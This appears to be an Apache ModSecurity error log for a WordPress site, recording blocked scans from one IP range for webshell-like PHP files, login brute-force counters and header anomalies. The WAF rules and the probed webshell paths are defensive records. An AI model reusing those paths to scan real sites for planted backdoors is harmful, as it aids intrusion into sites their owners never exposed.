[Fri Dec 19 22:36:34.196861 2025] [:error] [pid 18438:tid 18452] [client 85.203.23.23:51027] [client 85.203.23.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/sitebar.php"] [unique_id "aUVi8pRArClWV1iij_S80wAAAYs"]
[Fri Dec 19 22:36:34.646838 2025] [:error] [pid 18438:tid 18463] [client 85.203.23.25:59457] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-directory/about.php"] [unique_id "aUVi8pRArClWV1iij_S81wAAAZY"]
[Fri Dec 19 22:36:35.098092 2025] [:error] [pid 18438:tid 18448] [client 85.203.23.45:43465] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/library/about.php"] [unique_id "aUVi85RArClWV1iij_S82gAAAYc"]
[Fri Dec 19 22:36:35.560847 2025] [:error] [pid 20675:tid 20700] [client 85.203.23.17:65017] [client 85.203.23.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-author/about.php"] [unique_id "aUVi87MyJ3XqeDRsbQm6sgAAAQw"]
[Fri Dec 19 22:36:36.012440 2025] [:error] [pid 18438:tid 18451] [client 85.203.23.28:28819] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aUVi9JRArClWV1iij_S83AAAAYo"]
[Fri Dec 19 22:36:36.466390 2025] [:error] [pid 16026:tid 16037] [client 85.203.23.26:40955] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Cookie/about.php"] [unique_id "aUVi9ELVfhf4Jb3enmNYnwAAAUg"]
[Fri Dec 19 22:36:36.913053 2025] [:error] [pid 18438:tid 18444] [client 85.203.23.25:30709] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/js/about.php"] [unique_id "aUVi9JRArClWV1iij_S83QAAAYM"]
[Fri Dec 19 22:36:37.352861 2025] [:error] [pid 20582:tid 20642] [client 85.203.23.38:63811] [client 85.203.23.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/FR/wetrasesnnotarial/img/about.php"] [unique_id "aUVi9cpAnrkQKZ4b5gZcAwAAAMA"]
[Fri Dec 19 22:36:42.811735 2025] [:error] [pid 41451:tid 41459] [client 85.203.23.19:59887] [client 85.203.23.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/root.php"] [unique_id "aUVi-gYXFn-DbZghZBH5EgAAAAU"]
[Fri Dec 19 22:36:43.259961 2025] [:error] [pid 20582:tid 20643] [client 85.203.23.6:49745] [client 85.203.23.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/sss.php"] [unique_id "aUVi-8pAnrkQKZ4b5gZcDgAAAME"]
[Fri Dec 19 22:36:43.694091 2025] [:error] [pid 20580:tid 20603] [client 85.203.23.17:52685] [client 85.203.23.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/amryr/"] [unique_id "aUVi-0md1op_YdAdgR28XgAAAFE"]
[Fri Dec 19 22:36:49.120656 2025] [:error] [pid 41451:tid 41465] [client 85.203.23.28:54443] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugin/advanced-custom-fields/acf.php"] [unique_id "aUVjAQYXFn-DbZghZBH5HAAAAAs"]
[Fri Dec 19 22:36:59.548699 2025] [:error] [pid 41451:tid 41476] [client 85.203.23.11:44099] [client 85.203.23.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/aaka.php"] [unique_id "aUVjCwYXFn-DbZghZBH5IgAAABY"]
[Fri Dec 19 22:37:09.973916 2025] [:error] [pid 41451:tid 41467] [client 85.203.23.42:37653] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/library/"] [unique_id "aUVjFQYXFn-DbZghZBH5KQAAAA0"]
[Fri Dec 19 22:37:10.394332 2025] [:error] [pid 20581:tid 20634] [client 85.203.23.44:28059] [client 85.203.23.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-all.php"] [unique_id "aUVjFvxEv7WXNhnFD1miygAAAJM"]
[Fri Dec 19 22:37:10.845727 2025] [:error] [pid 18438:tid 18452] [client 85.203.23.23:36979] [client 85.203.23.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/connects.php"] [unique_id "aUVjFpRArClWV1iij_S9MAAAAYs"]
[Fri Dec 19 22:37:11.301472 2025] [:error] [pid 41451:tid 41464] [client 85.203.23.26:55571] [client 85.203.23.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/m.php"] [unique_id "aUVjFwYXFn-DbZghZBH5KwAAAAo"]
[Fri Dec 19 22:37:11.756179 2025] [:error] [pid 20582:tid 20660] [client 85.203.23.35:50769] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp/wp-admin/user/aws.php"] [unique_id "aUVjF8pAnrkQKZ4b5gZcKQAAANI"]
[Fri Dec 19 22:37:17.253347 2025] [:error] [pid 41451:tid 41468] [client 85.203.23.22:32889] [client 85.203.23.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp/wp-content/plugins/peptide/peptide2.php"] [unique_id "aUVjHQYXFn-DbZghZBH5NgAAAA4"]
[Fri Dec 19 22:37:27.675993 2025] [:error] [pid 20580:tid 20597] [client 85.203.23.49:59451] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/assets/fonts/jost/"] [unique_id "aUVjJ0md1op_YdAdgR28mwAAAEs"]
[Fri Dec 19 22:37:33.112337 2025] [:error] [pid 20580:tid 20604] [client 85.203.23.32:62457] [client 85.203.23.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/cache/all/neve_custom_layouts/blog-title/embed/"] [unique_id "aUVjLUmd1op_YdAdgR28pQAAAFI"]
[Fri Dec 19 22:37:38.550130 2025] [:error] [pid 20582:tid 20648] [client 85.203.23.42:63823] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin00/css/colors/midnight/"] [unique_id "aUVjMspAnrkQKZ4b5gZcRwAAAMY"]
[Fri Dec 19 22:37:38.981464 2025] [:error] [pid 18438:tid 18462] [client 85.203.23.22:37217] [client 85.203.23.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/v2/itw/"] [unique_id "aUVjMpRArClWV1iij_S9WgAAAZU"]
[Fri Dec 19 22:37:44.427716 2025] [:error] [pid 20582:tid 20666] [client 85.203.23.38:59209] [client 85.203.23.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comments-title/"] [unique_id "aUVjOMpAnrkQKZ4b5gZcTgAAANg"]
[Fri Dec 19 22:37:44.843504 2025] [:error] [pid 18438:tid 18451] [client 85.203.23.16:62803] [client 85.203.23.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/group/"] [unique_id "aUVjOJRArClWV1iij_S9aAAAAYo"]
[Fri Dec 19 22:37:45.272564 2025] [:error] [pid 20581:tid 20633] [client 85.203.23.44:40119] [client 85.203.23.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-author/"] [unique_id "aUVjOfxEv7WXNhnFD1mi2gAAAJI"]
[Fri Dec 19 22:37:45.710933 2025] [:error] [pid 18438:tid 18449] [client 85.203.23.22:40245] [client 85.203.23.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/script-modules/block-library/form/"] [unique_id "aUVjOZRArClWV1iij_S9agAAAYg"]
[Fri Dec 19 22:55:39.071697 2025] [:error] [pid 20581:tid 20627] [client 210.1.97.122:62448] [client 210.1.97.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.1.97.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUVna_xEv7WXNhnFD1mnGwAAAIw"]
[Sat Dec 20 02:52:59.702116 2025] [:error] [pid 35625:tid 35657] [client 91.188.244.9:43981] [client 91.188.244.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.188.244.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUWfC412VmSu4NX34PTtggAAAII"], referer: https://gigfragments.org/
[Sat Dec 20 02:53:02.200392 2025] [:error] [pid 35625:tid 35655] [client 91.188.244.9:38675] [client 91.188.244.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.188.244.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUWfDo12VmSu4NX34PTthwAAAIA"], referer: https://gigfragments.org/wp-login.php?action=register
[Sat Dec 20 03:08:56.065483 2025] [autoindex:error] [pid 35711:tid 35716] [client 62.171.148.101:61714] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Dec 20 03:55:35.502661 2025] [:error] [pid 22736:tid 22790] [client 182.44.2.148:40764] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUWtt1uS0WNylPNJy1_AFgAAAFY"]
[Sat Dec 20 06:40:04.879495 2025] [:error] [pid 39492:tid 39531] [client 46.164.220.248:7380] [client 46.164.220.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUXURIs_ZYP1UQNM9haLyAAAAEk"]
[Sat Dec 20 06:44:31.030099 2025] [:error] [pid 14247:tid 14271] [client 185.223.152.202:64261] [client 185.223.152.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXVTyDv9TtKKdJQn9lOYwAAARY"]
[Sat Dec 20 07:11:28.572654 2025] [:error] [pid 14286:tid 14303] [client 185.223.152.190:44623] [client 185.223.152.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXboJ7rbXIrw6rGSdazoQAAAU0"]
[Sat Dec 20 07:11:28.572654 2025] [:error] [pid 39577:tid 39587] [client 185.223.152.197:59437] [client 185.223.152.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXboLviRnt1rJiSOfyOzQAAAMg"]
[Sat Dec 20 07:21:58.957167 2025] [:error] [pid 18807:tid 18810] [client 185.223.152.183:52989] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXeFmRP9n5OCTllYeX9jgAAAYE"]
[Sat Dec 20 07:21:58.957328 2025] [:error] [pid 14247:tid 14249] [client 185.223.152.203:54605] [client 185.223.152.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXeFiDv9TtKKdJQn9lZ5QAAAQA"]
[Sat Dec 20 07:24:13.483466 2025] [:error] [pid 18807:tid 18812] [client 43.166.237.57:55888] [client 43.166.237.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUXenWRP9n5OCTllYeX-4AAAAYM"]
[Sat Dec 20 07:30:03.356191 2025] [:error] [pid 14286:tid 14309] [client 185.223.152.185:23339] [client 185.223.152.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXf-57rbXIrw6rGSda4OAAAAVM"]
[Sat Dec 20 07:30:03.397842 2025] [:error] [pid 14286:tid 14304] [client 185.223.152.181:21231] [client 185.223.152.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXf-57rbXIrw6rGSda4OQAAAU4"]
[Sat Dec 20 07:35:19.815889 2025] [:error] [pid 39577:tid 39603] [client 185.223.152.196:52871] [client 185.223.152.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXhN7viRnt1rJiSOfyUBwAAANg"]
[Sat Dec 20 07:35:19.818580 2025] [:error] [pid 39491:tid 39502] [client 185.223.152.191:44587] [client 185.223.152.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXhN1tw2ggYvDxu2EDQ2gAAAAc"]
[Sat Dec 20 07:38:53.285106 2025] [autoindex:error] [pid 39492:tid 39533] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:38:53.568395 2025] [autoindex:error] [pid 39492:tid 39534] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:38:53.877865 2025] [autoindex:error] [pid 39492:tid 39542] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:38:54.180755 2025] [autoindex:error] [pid 39492:tid 39530] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:39:03.668737 2025] [autoindex:error] [pid 39492:tid 39528] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:39:03.961812 2025] [autoindex:error] [pid 39492:tid 39525] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:39:04.270478 2025] [autoindex:error] [pid 39492:tid 39543] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:39:04.576006 2025] [autoindex:error] [pid 39492:tid 39530] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:39:04.915448 2025] [autoindex:error] [pid 39492:tid 39540] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:39:05.198847 2025] [autoindex:error] [pid 39492:tid 39546] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:39:05.824770 2025] [autoindex:error] [pid 39492:tid 39537] [client 45.86.202.61:24257] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
